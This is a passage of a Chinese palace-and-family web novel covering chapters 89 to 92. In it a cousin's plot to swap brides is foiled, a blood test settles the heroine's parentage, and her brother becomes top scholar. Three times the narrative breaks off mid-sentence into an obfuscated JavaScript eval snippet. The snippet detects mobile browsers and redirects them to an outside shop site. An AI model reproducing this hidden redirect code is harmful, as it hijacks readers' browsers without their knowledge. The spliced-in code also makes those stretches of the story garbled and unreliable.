吟心却连眉头都没有皱一下:“她就是这样为达目的,死不罢休的人。所以她才能够罔顾亲情,给我们姑娘下那般狠毒的药。” “说得也是!”典心狠狠地点了点头。 —————— 四月二十,游家大喜之日。 一大早,游乾骑着一头毛色水光油滑的高头大马,自游宅而出,一路敲锣打鼓地押送着一坐花轿往谢家的方向走去。 游家不显,府宅在京城边角处,而谢府却在京城富庶繁荣之地。 周围看热闹的人望出队伍的去向,不由得问了一句:“这游家娶的是哪家的姑娘?怎么往富人区走了?” 队伍里的人骄傲由心生,自然地接了一句:“自然是谢府。” “哪个谢府?” “京城还有什么谢府?自然是谢相之府了!” 周围之人哗然一片,这游家公子,竟然当真攀附上了谢相,娶得了谢家嫡女? 谢府,益晖堂中人仰马翻,可益晖堂外却没见一丝喜气。 大早起来,若不是谢老夫人亲自叫来谢善吩咐一声,只怕谢府门口那两盏红灯笼上都没半个喜字。 益晖堂暖阁中,谢老夫人问谢芸:“当真是想好了?” 谢芸一身红妆,却不是之前游家送来的喜服,喜不自胜:“当然是想好了。” “今日,谢荼出了这个门,从此就是谢芸,而我,才是谢家的嫡女,谢荼!” “祖母,时辰不早了,我要去重峦院换那丫头出来了。您稍坐,等那丫头被送上花轿,我再来陪祖母用早膳。” 谢芸套上披风,掩住一身红妆,匆匆带着拿着火红嫁衣的采露往重峦院而去。 89. 事发 益晖堂距离重峦院并不近,中间甚至隔了个后花园。 往日里只觉得谢荼住的地方偏僻,今日谢芸却觉得偏僻有偏僻的好处。 这一路上走过来,连半个人影都没瞧见,大约人手都被谢老夫人临时调去益晖堂外帮忙,园子里根本没有人看守。 谢荼病了许久,重峦院里也翻了天,没什么人看守不说,就连院子里洒扫的小丫头都跑出去看热闹了。 谢芸和采露一路畅通无阻地溜进了谢荼的内室。 主仆二人还没来得及高兴,就被人一掌打晕在地。 “太无耻了,还真是来换人了!”典心用脚尖踢了踢谢芸,把她一张浓妆艳抹的小脸儿露了出来。 “换上嫁衣,怎么来的,再怎么塞回去吧。”谢荼叮嘱了一句,“那给我的药,也给她吃一些,做戏要做得足一些,入洞房之前,不要让她醒过来。” 想必喜娘得了谢芸的吩咐,一路上一定会撑着“新娘子”,避免露馅。 所以“晕”着的谢芸被送上花轿,再去拜堂,也不会有人会发现。 谢芸的婚事,谢愉恩早就甩手让谢善一应负责到底。 所以他只是在拜别这个环节露了个面,便起身回了前院。 游乾发觉谢愉恩的冷淡,可他也只是以为谢愉恩只是舍不得女儿出阁,遂没有想太多。 而谢府里面没有宴席,也没什么张灯结彩,他只当是谢府无主母操持,一切从简。 一切怪异的情景,在游乾自以为是的过度脑补之下,却又变得有理有据。 谢老夫人一直坐在厅上等谢芸来用早膳。 可是直到早膳全部冷掉之后,谢芸都没有回来。 “童妈妈,你去瞧一瞧,花轿走了没有?是不是什么事情给耽搁了?”谢老夫人拍着手中的拐杖,心中不安极了。 童妈妈应声称是,转身出了门去。 没过多久,童妈妈推门进来,身后跟着的是——谢荼。 “你……你怎么在这儿!”谢老夫人吓得语无伦次,“你怎么突然好了?” “芸儿呢?我的芸儿呢?”谢老夫人顿时明白了,她们二人被谢荼给骗了。 “母亲说的是什么糊涂话,芸丫头自然是已经坐着花轿嫁去了游家!”谢愉恩迈着悠闲的步伐,也跟着谢荼走了进来。 他的身后跟着的,是本应该在书院温习的谢英。 “你,你们!”谢老夫人抚着胸口就要往后倒,却被童妈妈眼疾手快地接住了。 童妈妈从怀中小药瓶中倒出一粒药,塞进谢老夫人的口中,又用力地顺了顺她的胸口,直到确定那药丸被谢老夫人咽了下去。 “老爷,老夫人已经服药,可以问话了。” 童妈妈面露不忍地退到了一旁。 “童妈妈!你怎么,你怎么!”谢老夫人这时才明白,童妈妈早就已经倒戈。 “老夫人糊涂,被芸姑娘撺掇着办糊涂事,奴婢却没有糊涂。”童妈妈看着谢老夫人,眼中流露出不忍心,“老夫人仔细想一想,芸姑娘何时将您放在心上过!” “老夫人冬日的抹额,春夏的鞋袜,秋日的暖垫,全都是荼姑娘亲手做的,芸姑娘何时这般勤快给您做针线?” “就拿这次的事情来说。芸姑娘做下这般偷偷‘换亲’的滔天祸事,何曾想过老夫人在谢家该当如何?” “老夫人,家宅安宁,才是您一直期盼的啊!” 童妈妈越说越激动,将谢芸进京城这段时间以来的种种所作所为全都数落了一遍,直指她的行为非闺阁小姐所为。 “童妈妈,芸丫头她也是被逼无奈啊。”谢老夫人双眼含泪,抖着身子据理力争。 “老夫人,难道是荼姑娘逼着她去和那游家公子私相授受的吗?” “难道是荼姑娘逼着她接受游家公子这门亲事的吗?” “还是说,今日这‘换亲’弥天大谎,也是荼姑娘逼着她去谋划,去实施的吗?” “说到底,只是为了满足她嫁入高门的欲望。” “老爷本就已经答应为芸姑娘选婿,可偏偏芸姑娘自认为自己命比天高,在府中处处都要强压荼姑娘一头,还要想尽办法给荼姑娘使绊子,这哪是来京城做客的人会做的事情!” 谢老夫人急得直拍胸脯:“那是因为芸儿出身太弱,总要替自己多争取一些。” “谢家的家产,难不成都要给这个不知道哪里来的野种吗!” 谢老夫人口出惊世骇俗之言,惊得在场的几人俱是一愣。 “母亲,当着孩子的面,你胡说些什么呢!”谢愉恩厉声呵斥。 “事到如今,我也就直说了吧!”谢老夫人转头看向谢英,“英哥儿,你知道吗?你日日夜夜疼在骨子里的妹妹,根本就不是我们谢家的种!” “她是你母亲被人掳走后怀孕生下来的孩子!” “和你有血缘关系的妹妹,只有谢芸!” 此话落地,谢英的脸上瞬间褪去血色,惨白着一张脸看向谢荼。 谢荼和他确实不太像,她长得像母亲,性子也像母亲沉稳,反观自己,更像父亲。 “祖母,您说这话有何凭证?你可知道,这种事情,足能逼死一个无辜的少女!”谢英双眉紧蹙,“我知道,祖母一向看不起母亲,也和母亲的关系素来紧张。” “但这不是祖母您出言污蔑我母亲,贬低我妹妹的理由!” 谢英硬声硬气地顶了回去,脖颈青筋直冒,可见有多激动。 反观当事人谢荼,却淡定得很,没什么表情,也没说什么话。 “证据?证据就是你父亲知道当年的事情。”谢老夫人面目狰狞,“当年你母亲被人掳走,还是你父亲亲自去救了回来。” “不如你们亲自问问你们的父亲,当年掳走你母亲的歹人,到底是谁!” 谢英转头看向谢愉恩。 谢愉恩周身气息冰冷,面沉如水,盯着谢老夫人的眼神似乎能杀人。 “母亲,当年之事另有隐情,他们的母亲被掳走,也是一场意外。” “至于谢荼,的的确确是我的女儿。”谢愉恩出言下定论,“若是母亲不信,大可滴血认亲。” “童妈妈,取一碗水来。” 立在一旁的童妈妈闻言,看了谢荼一眼,立刻去取了一碗水来,放在桌上。 谢愉恩从袖袋中取出一把匕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13157359|126565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 首,割破手指,滴了几滴血进去,又叫来谢荼,割破她的手指,挤了几滴血滴进去。 两方血滴入水中,如线如雾,在水中游动。 不过顷刻间,两方血液便互相融汇在一处,再也分不开。 “这……这……这怎么可能!”谢老夫人瞪大了双眼,不可置信地扑在那水碗面前,“怎么可能!你和那野种的血怎么可能融在一起!” 她目眦欲裂,脸涨得通红,根本不敢相信自己眼睛看到的情形。 “不可能,谢荼怎么可能是你的女儿!她明明就是杜一南那个贱人和歹人怀的孩子!” 谢老夫人怒火攻心,险些就要晕过去。 “谢荼本就是我谢愉恩的女儿。”谢愉恩面带坚毅神色,语气不容置疑,“杜一南是什么样的人,我自己清楚。” “无论母亲如何贬低,我也相信她。” “当年之事有诸多细节母亲不知道,首先第一条,杜一南就是怀着身孕被人掳走的。” “那时候月份小,阿南不愿声张,可就是因为她的谨慎,竟然在十多年之后,让她背负了这样一个莫须有的罪名,也让我们的女儿受了这样的污蔑。” “若今后我还在别人的口中听到这般污蔑我女儿身世的事情,听见一次打死一次绝对不姑息。” “母亲,你就期盼着谢芸最好不要昏了头脑,将这件事闹出去。” “否则,我谢愉恩在此发誓,有我一日,绝对让她和她的家人,生不如死!” 谢老夫人一身怒气刹那间消失殆尽,整个人颓然坐到椅子上,半晌没有吭声。 跟着来的谢英一时捂着胸口直喘气,心情大起大落,脑袋差点儿来不及反应。 至于谢荼本人,却是一直冷静地看着父亲和祖母二人对擂,只是伸手奉献了一点儿血而已。 “母亲,若您能规规矩矩在府里养老,我能保证您晚年的生活富足无忧。” “可若是您还由着谢芸以及他一家子趴在我们父子三人身上吸血,折腾些不知所谓的幺蛾子,可就别怪儿子狠心,送您兖州老家了!” 谢老夫人僵硬着身躯,只会转动着眼珠子看向谢愉恩。 “今日芸丫头大喜,我已经派人给她添妆,添妆的单子是直接放在她的嫁妆中送到了游家。” “若是三日后回门风平浪静,那出添妆的田庄,我会命人带着她去府衙办理手续,若三日回门她还嚷嚷着要换亲,那可别怪我这个做伯父的心狠,直接将她在夫婿面前撵出府去了!” 童妈妈见谢老夫人仍然不吭声,连忙上前道:“是,老爷放心,这几日奴婢陪着老夫人,一定能劝说好老夫人,让老夫人明白,整个谢家,到底谁是真心实意地孝敬她。” 谢愉恩满意地点了点头,带着儿子和女儿出了益晖堂的大门。 益晖堂门口有几名眼生的婆子看守,就连院子里的下人也全部更换了一遍。 谢愉恩的书房里,他面带歉意地对着谢荼道: “之前几日,为父被一桩陈年旧事扰了心绪,忽略了你的事情,但是你放心,凡事都有父亲在,不必忧心。” “还有你哥哥,我们永远是你的家人!” 90. 殿试 一顶花轿抬着昏迷的谢芸从谢府而出。 一路敲敲打打、吵吵闹闹、摇摇晃晃,都没能惊醒她。 喜娘得了谢愉恩的好处,只当新娘子身子不适,一路上搀扶着送进游宅。 而游乾只当是谢家姑娘身子还未恢复如常,或许正像他和母亲猜想的那般,已经怀了身子,便是娇气一些也没什么。 因此,拜堂时,游乾甚至出面呵止了一些乡里乡亲要看谢家嫡女相貌的粗鄙要求,仪式一切从简。 直到进了洞房,喜娘将谢芸安置在喜床上,这才悠悠转醒。 “这……这是哪儿?” 她被蒙着红盖头,一时看不清眼前的情形,整个人还在发蒙状态。 “少夫人是睡糊涂了,这便是您以后的新房了。” 游乾去前院敬酒了,此时的新房内,只有陪嫁过来的几个婢女陪着。 喜娘怕她一个新嫁娘身子不适,又心生怯意,一直陪在一旁,见她终于转醒,这才笑出声来。 谢芸大惊,一把扯过盖在头上的红盖头: “什么少夫人?什么新房?采露!采雪!人呢!” 入眼看去,都是些眼生的婢女,她的贴身丫鬟一个都不在。 “少夫人有何吩咐,奴婢们伺候。” 婢女之中,有位年长些的,姿容艳丽些且衣着华丽的,壮着胆子站出来回答。 “你是什么东西,敢随意回我的话!”谢芸眼看事情不太对劲,连忙要找自己的贴身人,“我的婢女呢?怎么都不在屋子里?” “回少夫人的话。”那婢女显然也不是个逆来顺受的主儿,立马阴阳怪气起来,“您出嫁,只带了我们这些个下人,您说的什么贴身婢女,奴婢没有见到过。” “出嫁?”谢芸终于抓住了事情的关键,“我出嫁了?这是哪儿?” “这是游宅,您现在已经拜过堂,是游少夫人了。”那婢女笑嘻嘻道。 “轰——” 如五雷轰顶般,谢芸颓然坐在床边,半天没有说话。 眼下,原本应该在益晖堂吃着早膳的自己端坐游家新房,可原本应该嫁入游家的谢荼却不知所踪。 想必是计划有误,她的行动被谢荼提前知晓了。 那到底是身边人高密,还是祖母那边透了风声。 她怎么也想不通,谢荼都病成那样了,重峦院里竟然还是没有出错! 她恨,恨的是谢老夫人的不得用,恨的是身边人的不堪用,恨的是自己的出身卑微,唯独没有恨自己心比天高。 “少夫人!少爷回新房了!”屋外小丫头的通传声一声比一声高。 “我知道了。”谢芸深吸了几口气,将红盖头重新盖在头上,面前只剩下一片赤红色。 她别无他法,只能硬着头皮继续扮演好游家少夫人这个角色。 至少,她将来还有个英国公嗣子夫人的名头,待殿试之后,她便是英国公世子夫人了。 “谢荼,断了我的念想,等我成了世子夫人,我也绝对不会让你在京中好过!” 谢芸狠狠攥紧了自己的拳头,扬起笑脸等着游乾的到来。 三日回门,谢愉恩借口朝中事务繁忙,没有给谢芸脸上贴金的机会。 谢荼称病未出,谢英也以温习功课为由,没有出面。 谢芸只能带着游乾去了益晖堂拜见谢老夫人。 谢老夫人神色恹恹,只留了一顿午饭便端茶送客。 游乾再蠢钝,这时候也发现了不对劲的地方。 “为何出嫁女回门这等大事,你父亲和兄长都不出面迎接新姑爷的到来,而你堂堂谢府嫡长女的回门宴,却是在祖母的院子里办?” 游乾穿了一身新衣,带着礼品,原本就是等着给谢家亲眷族老见礼的。 可他除了见到行将暮年的谢老夫人,其他什么人也没有见到,更别提什么攀谈交往的机会了! “为何你家中气氛这般怪异?”游乾终究还是忍不住问出声,“新婚回门,父兄竟然都不出面?” “就连你祖母见到我,也不复之前的热络态度,莫不是你有什么事情瞒着我?” 谢芸心中暗骂谢府众人,面上却不动声色:“没两日就要殿试了,想必府里都紧着哥哥的殿试来,有些怠慢也没什么。” 这几日在游家住着,谢芸也觉得奇怪,为何英国公对游乾的婚事并无表示,他们一家三口还要继续挤在那三进的小宅子里。 “夫君过几日不也是有大事要做,咱们就先回府准备着吧。”她提议先回游宅。 眼下祖母似乎对自己不喜,谢家上下恐怕也都知道自己“换亲”的举动,只能等到自己先成为世子夫人之后,再从长计议。 四月二十五日,春色满园。 天还未亮,谢荼便起身忙碌了起来。 今日是谢英殿试的大日子,她趁着尚且漆黑的天色,亲自去了大厨房,盯着灶台娘子做早膳。 她又亲手做了些利于克化的点心,装在食盒里送去了谢英的重轩院。 谢英见她漏夜前来,忙撵道:“自己身子还未痊愈,就忙着做点心,哥哥岂是这般馋嘴之人?” “今日是哥哥的大日子,我又哪里能睡得着?”谢荼坐着同他一起用膳,“我可等着做状元郎的妹妹呢!” “放心放心。”谢英胸有成竹,“你这个状元郎妹妹可是做定了!” 目送谢英上了马车后,谢荼才回重峦院休息补眠。 载着谢英的马车缓缓抵达皇城时,领头查验正身的官员他甚是眼熟。 “谢公子,久仰。”那人一张笑脸甚为耀眼。 谢英见他一身金吾卫的官制服饰,讶然道:“姜小公子,何时调去了金吾卫?” 这也算是他的半个熟人,正是一直绕着妹妹谢荼的著名“纨绔”姜鹤。 “前段时间,刚去不久。”姜鹤浅笑道。 他手拿名册文书,查验后将谢英引到一旁,低声道:“谢公子,朝中近日多有议论谢大人与谢公子关系的声音,恐会连累到公子。” “若公子有旁的需要,尽管吩咐身边的小黄门。” 他伸手指了指候着准备领人进去的小内监。 谢英心中一凛,无论父亲如何避嫌,自己进入殿试,终究还是惹人眼了。 “多谢姜公子的提点。”这显然是姜鹤看在谢荼的面子上,提前给他一个提醒。 谢英随着小内监去候考场等着殿试的开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“姑娘!”去门房等消息的典心快步走来,“姑娘有消息了!” 她拉着谢荼闪身进了花厅,等婢女们避出去之后,典心才开口道: “姜公子身边的陈全递来消息,今日殿试已经结束,陛下留了前三名赏了席面。” “咱们公子——可是状元郎了!” “啊!此话当真!”谢荼喜极而泣,“今日为何这般迟,可是出了什么事?” 她擦了擦眼泪,忙追问。 “说是因为公子的身份特殊,陛下和众位大臣为了堵住天下悠悠众口,当场加了两篇策论,一炷香的时间,让贡生们当场作答。” “咱们家公子下笔如有神,旁人还在仔细思考的时候,他一张纸已经写了大半。” “待众人答完后,陛下又当场随机在折子里选了几个问题询问,回回咱们公子都是第一个作答。” “这下原本尚且有异议的大臣都不敢再有疑问了。” “于是陛下当场便钦点了咱们公子为状元郎!” 91. 游街 大喜过望的谢荼,立刻差人去前院寻父亲谢愉恩报喜,又唤人将制好的喜钱串子用竹筐篓子装好,等传胪大典结束,立刻打开谢府答谢前来贺喜的邻里乡亲。 待忙完这些琐碎事儿,冷静下来的谢荼才发觉消息的来源,竟然是许久不见消息的姜鹤。 “姜鹤为何知晓宫中这些事儿?” 就连来报喜的内监都还没上门呢,他就已经知道了大殿上的名次。 “陈全说,他家公子今日刚好在宫中当值,因此消息知道得比旁人快些。”典心显然也是问过。 “当值?”谢荼奇怪道,“他那上峰多次去长宁公主面前告他的状,他都没有去过,怎么今日想起来去当值了?” “不是的。”典心笑道,“姜公子如今已经是金吾卫的人了,今日刚好负责贡生们的查验工作,且也守在大殿外,正是姑娘前些病了的那些日子,才得了调令调过去的。” “原来如此。”谢荼笑了笑。 历经姜鹄一事,姜鹤总算是找到了自己的人生目标,开始独立起来。 只要他规规矩矩办差办事,在金吾卫中有一席之地,这一世姜家也不会到朝中无人的地步。 全大梁朝人民期盼的日子终于到了——传胪大典。 这日,文武百官身穿朝服、诸位亲王身穿礼服列于大殿两侧,而谢英等贡生则列在大殿之中。 吉时到,礼乐起。 鸿胪寺礼官高声唱起今年贡生的姓名。 “第一甲第一名,谢英!” 谢愉恩身穿官服,列于百官之首,忽闻儿子的姓名,突然红了双眼。 他看见自己的儿子,自幼寒窗苦读,日晒雨淋从不间断,从牙牙学语的幼儿,到熟读四书五经的儿童,再到以策论与自己辩论的少年。 立于晨曦之下,头戴三枝九叶顶冠,躬身下跪。 “第一甲第二名……” 随着唱名声,贡生们一一出列跪下。 在庄严肃穆的大殿之上,望着少年郎君沉静的面容,谢愉恩一人感慨万千。 他和杜一南的儿子,终于长大成人了! 传胪大典结束后,便是新晋进士游街。 谢荼早早被姜鹤邀请,在江月楼靠近长安街一面的顶层雅间里,静候着进士们打马游街。 状元郎谢英骑着高头大马,身穿大红官服,乌黑官帽,丰神俊朗。 谢荼立在窗户前,便听见楼下街边的议论声: “这榜下捉婿的传统,可不能荒废,今年这状元郎家世颇好、相貌俊朗、才高八斗,不知道会被谁家捉了回去。” “可别瞎胡说,你也知道今年这位状元郎家世非同一般,又有谁贸然会在榜下捉他回去?但是今日起,只怕谢府的门槛,要被京城里的媒婆给踏破了!” 谢荼一愣,下意识追着声音望了过去,却听见那几人又换了议论的对象: “话说前阵子刚考完时,有传闻谢家和顾家打算在今年的进士里为家中的女儿选女婿来着,可有物色好的人选?” “你们不知道吗?今年新晋进士有位叫游乾的年轻人,前几日刚娶了谢家的姑娘。” “谢相竟然没等到殿试便匆匆嫁了女儿?” “怎么可能呢!那日我去了谢家看热闹,那排场,根本就不是嫁女儿,倒像是借了府邸给族中侄女儿办喜事的模样。” 那人嗓门颇大,说着话就吸引了周围一圈挺热闹的人。 “可那游家公子可是成日在我家小馆子里吃酒说醉话,打着谢家女婿的旗号四处赊账呢!” “哟!那你可快去游家要钱,可别被他骗了!” “为何这般笃定他娶的不是谢相嫡女?” “你傻啊!谢相嫁女,岂是小事?宫中不曾有赏赐也就罢了,朝中大臣的亲眷岂会没有到场贺喜的道理?” “这也就唬一唬那无知小儿,你们怎么也能信?” 谢荼再次一愣,恰好与那人瞥过来的目光撞在一处。 那人的眼光中带着狡黠,嘴边的笑意还未下去,又似乎很熟稔地冲她一笑。 谢荼心中觉得怪异极了,很快便发觉游街队伍中游乾的脸色极为难看。 他这是……听见了? 谢荼侧过头来,刚想对姜鹤说明自己的发现,却看见他正笑吟吟地看着自己。 她的心顿时漏跳一拍,顿时忘记了自己刚刚要说的话,和他对视着,没吭声。 楼下那人在人群之中掀起惊涛骇浪,等大家伙儿全部议论开来后,便功成身退。 不多时,雅间的门被敲响,惊动了对视着的两人。 谢荼摸了摸自己的鬓角,而姜鹤端起手中的茶盏喝了一口,被烫得龇牙咧嘴后急忙放下:“进。” “已经办妥了。” 谢荼这时才抬头看去,这不正是刚刚在底下引导人们议论的那人吗? 谢荼眨巴着眼睛,看着眼前这人的双眼,越来越熟悉。 “你是……” 谢荼话音未落,那人便扯下自己的伪装,露出他本来的面貌。 “谢姑娘,许久不见,身体可曾好些?” 在她面前调侃说话的,正是姜鹤的大哥,姜鹄。 “姜大哥,你怎会在此处?”谢荼面露惊喜,看向姜鹤的表情也带着疑惑。 “前阵子你病了,姜鹤这小子急得在家团团转,还差了母亲身边的妈妈去给你府上送药材补品,被母亲一顿痛训。” “听说谢府嫁女,这小子吓得不轻,忙请了我想去搞破坏,结果发现你府上堂姑娘偷桃换李的戏码。” “他哪是能让你委屈的性子,这不就特意横插一脚,想要给她一个颜色瞧瞧。” 姜鹤点点头:“虽然你已经解了那困境,但这颗瘤还是要早些挑破为好。” 谢荼见他们这般为自己着想,便笑道:“本来,殿试之后,游家就能有得一闹。” 姜鹤见她神色轻松,忽然想起那日在墨香斋与她一同听见的对话,顿时便明白了过来。 殿试那日结束后,皇帝心情甚好,遂留众位贡生与大臣一同入宴。 席间,英国公趁着皇帝陛下心情好,于席上提出给自己嗣子名分的要求。 这件事情,英国公夫妻俩想了许多年,但皇帝一直没有应允,以英国公夫妇俩年纪尚可,说不定还能再有自己的孩子为由,拒绝了他们的多番申请。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211842|126565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这一次,皇帝没有再拒绝。 而游乾当初,正是因游家宗族子弟借住在英国公府上的缘由,模糊了自己的身份,让谢芸误以为自己就是那英国公未来嗣子,这才搭上了她。 传胪大典之后,陛下册封世子的旨意就会到英国公府。 到时候,谢芸就会知道,她心心念念要做的世子夫人,根本与她无关。 “这不正好给游乾发作的机会,让他们俩狗咬狗去,没有工夫再回去烦你。” 姜鹤这般说着,他的视线却落在了谢荼的脸上。 玉白的脸上洋溢着笑意,面颊之上染着红晕,甚是娇俏可爱。 这与梦中那副毫无生息的森白枯骨完全不一样。 他握紧拳头,压下心中的不安,说道:“兄长帮了此番大忙,想必也累了,不如早些回府休息,过几日宫中还会有宫宴。” 姜鹄倒也不恼他的这番过河拆桥的行径,微微颔首,同谢荼道别: “既然如此,你们二人就看完游街,等着游家的闹剧上演。” 谢荼躬身行礼道谢,目送他离开酒楼。 屋子中静了片刻,谢荼才笑着开口问姜鹤: “陈全说,你前些日子被调去了金吾卫,怎么,今日游街此等大事,你怎会不在值?” 姜鹤看着她笑的样子,眼眸中也露出笑意: “母亲求了陛下将我调去金吾卫,试图锻炼我。可怎么说我本就是纨绔子弟,应当是三天打鱼两天晒网的态度才对。” 谢荼明白他的意思,他这是不想让其他人察觉他想要立起来的意图。 “陛下怎会同意你调往金吾卫?” 金吾卫负责京城巡警,执掌京城安危,是京中要职。 以皇帝对姜家的态度,为何会同意将他放在这个位置上? “我是个草包,调哪不是调?” “鸿胪寺那老头儿,三天两头向我母亲告状,还在陛下面前参我,早就不想让我继续占着位置吃空饷了。” “恰好母亲求陛下替我挪个位置,那老头儿举了双手双脚赞成,说要将我放在金吾卫里也可锻炼我的纪律性。” “陛下知道我的性子,便也同意了,没有生疑。” 谢荼一时沉默无言。 这自然是理所当然的事情,可是从姜鹤嘴里说出来,怎么那么吊儿郎当? 幸好自己早已经习惯他的说话做事行径,也知晓如今纨绔只不过是他的保护色。 “姜大哥被陛下从边关叫回来后,有何安排?” 前招以“不召擅自离开军营”的方式,再派人刺杀,没有能捉住姜鹄的把柄。 按照陛下的行事作风,不会就此放着姜鹄在京中好过。 姜家在京城里本就已经有个被养废了的姜鹤,难不成他还想把姜鹄捏在手中磋磨? 定远将军倒也愿意? “过几日,中宫皇后娘娘会举办春宴,大哥也在受邀行列中。” “春宴?”谢荼心中一凛,“陛下是准备在姜大哥的婚事上做文章?” “世家小姐均在受邀名单之中。”姜鹤的喉咙动了动,压下心中的汹涌情绪,“你也在其中。” 92. 受邀 “我?”谢荼讶然。 皇后的春日宴,都是为皇室贵族子弟婚事做准备,向来也是大梁朝各地势力聚结联姻的最好时机。 谢愉恩作为各方势力中立保持者,素来也不会和各家来往。 他打算在今年新科进士当中寻个家世清白的娶谢荼,就是最好的证明。 可今年的春日宴,皇后竟然将她的名字放在受邀名单之中。 这一举动,皇帝到底知不知道?或者说,这难道正是皇帝他自己的主意? 事情发展到这个地步,谢荼在心里便快速有了自己的判断。 “陛下难不成想让你哥哥尚公主?”谢荼蹙眉。 若是这样,一切就都能说得通了。 经过刺杀一事,皇帝已经觉得仅仅拿捏姜家一个养废了的小儿子,根本不够用。 他想从根上断绝姜家的前程。 尚公主,说得好听,是当朝公主驸马,可是为了避嫌,公主驸马一般安排有实权的职务。 这样一来,就算姜鹄本人再优秀,以后也不会有什么大作为。 将来若是清算定远将军,尚了公主的姜鹄倒是能免于一罪,却再也不能翻出花来。 当真是打了一手好算盘。 “母亲也是这般想的。”姜鹤说出了长宁郡主的打算,“母亲让兄长去参加春宴,随机应变、伺机而动。” 谢荼嘴角一弯,意味深长地看向他:“可是,似乎待嫁的适龄公主,心仪之人,是你呀!” 这京城谁人不知,陛下最最宠爱的宝珠公主,自幼便心仪定远将军的幼子姜鹤。 难得有出宫的机会,她也成天跟在姜鹤身后跑。 上回在隆山寺遇到她,只怕也是因为姜鹤去了隆山寺为长宁郡主祈福的原因。 无奈姜鹤实在过于纨绔,宝珠公主撒娇嗔宠无数回,皇帝都迟迟没有松口。 其一,是因为姜家兵权过盛,恐怕迟早要清算姜家;其二,便是姜鹤根本是个立不起来的无能二郎。 若是将宝珠公主嫁给姜鹤,姜家又被清算,宝珠公主的下半生便再无可依附之人。 因此,纵然宝珠公主最为受宠,骄纵跋扈,要风得风要雨得雨,这一桩婚事,她却没能得偿所愿。 皇后的春日宴上,宝珠公主必然会出席。 到时候若是胡乱将宝珠公主指给姜鹄,她岂是坐以待毙的性子?只怕是要狠狠闹一场。 姜鹤愕然,抬眼看向谢荼的眼眸深情且无奈。 他的心意一直都没有变过,这一点,他相信谢荼是知晓的。 但是谢荼似乎有什么事情在瞒着他,他也不想贸然插手,引得她的反感。 谢荼看着面前的姜鹤,他的眼光里透着的,是她不想深究的深意。 “既然我也在受邀的名单之中,那我便走一趟。”谢荼想了想,“这件事有宝珠公主掺和在其中,必不会简单善了,我会去帮助姜大哥顺利脱身。” 谢荼生的娇美,肌肤胜雪,蹙着眉头说着如此坚定的话有着不同寻常的韧劲。 “我自然是信你的。”姜鹤微微抿着唇瓣,小声应道。 游街之后,便是皇帝为新科进士们授职的典礼。 成惠帝素来喜爱享受“君臣同乐”的快乐,这样的典礼,也多是邀请与会试相关的官员参加。 由于今年状元郎是谢相的儿子,谢愉恩被亲自点了名参加,避无可避。 晚间的时候,消息便传了回府。 谢英被皇帝钦点进了翰林院,这倒是和上一世没什么区别。 可最令人惊奇的是,那游乾却被扔进了钦天监做个七品礼官。 “这是为何?”谢荼不解。 新科进士出身,进不了翰林院,也多半会去吏部、刑部、户部这些有实权的官衙。 把一位新科进士扔进钦天监,还真是大梁朝头一份。 “游乾在入大殿前,上前与咱们老爷理论,口口声声说的都是谢家骗婚,嫁了个不知什么小门户的女儿给他,代替了他原本与谢家嫡女的婚事。” “他竟然这般沉不住气?竟然在皇宫里闹起来?” 典心吃着果子,继续道,“可能他原本以为在众人闹一闹,就能把他这个谢相女婿的头衔坐实,可谁曾想,咱们老爷只问他:‘你说你与小女有婚约,那可有凭证?’” “游乾大言不惭地报出了婚书内容,还当众说出了谢芸姑娘的姓名和生辰八字。” “父亲如何应对?” “咱家老爷只说:‘我膝下有一女不假,可我的女儿姓谢名荼,并非你说得谢芸,且生辰八字也并非你所报,你那封婚书我也从未见过。’” “他就此打住了?” “那怎么可能呢?游乾便说了:‘前几日,我的确是从谢家娶回了新婚的夫人,新人拜别时,谢大人可是坐在高堂之上的。’” “老爷就说了;‘原来是你啊!那日侄女儿出嫁,念着她父母不在京城,家中老母亲便央求我代为送嫁,我便坐在那高堂上,连茶都没有喝一杯,何来受你的跪拜?’” “‘再说了,若当真是我嫁女儿,我夫人的牌位为何不在堂上摆着,也没有任何到府贺喜的人来我府上吃酒,何来嫁女儿一说?’” 谢荼笑倒在暖榻上,她早该想到,以父亲的脾性,如何能被谢老夫人拿捏? 可谓是处处有伏笔,处处埋心机啊! “游乾这还不发怒?”谢荼真想亲眼看一看那狼心狗肺之人的下场。 “那游乾当场怒吼说谢家骗婚:‘我只当是一切从简!世人都说谢家女病重,若有人能娶她,谢大人必回倾尽全力辅佐女儿女婿,我当真是娶回了谢家女,可那女子从谢家出嫁,却不是谢大人的女儿!’” “老爷就说了:‘我谢愉恩嫁女儿,必是十里红妆,如何简得了?游公子切莫再开玩笑了!’” “老爷振振有词:‘游公子心里头琢磨着什么事,老夫清楚,可老夫也劝游公子一句,切勿把所有人都当成傻子了!’” “游公子脸色煞白,如同行尸走肉般地进了大殿。” 谢荼摇了摇头。 这桩婚事从始至终双方都充满对对方的算计,各种阴差阳错叠加在一起,愣是让他们二人凑成了对鸳鸯。 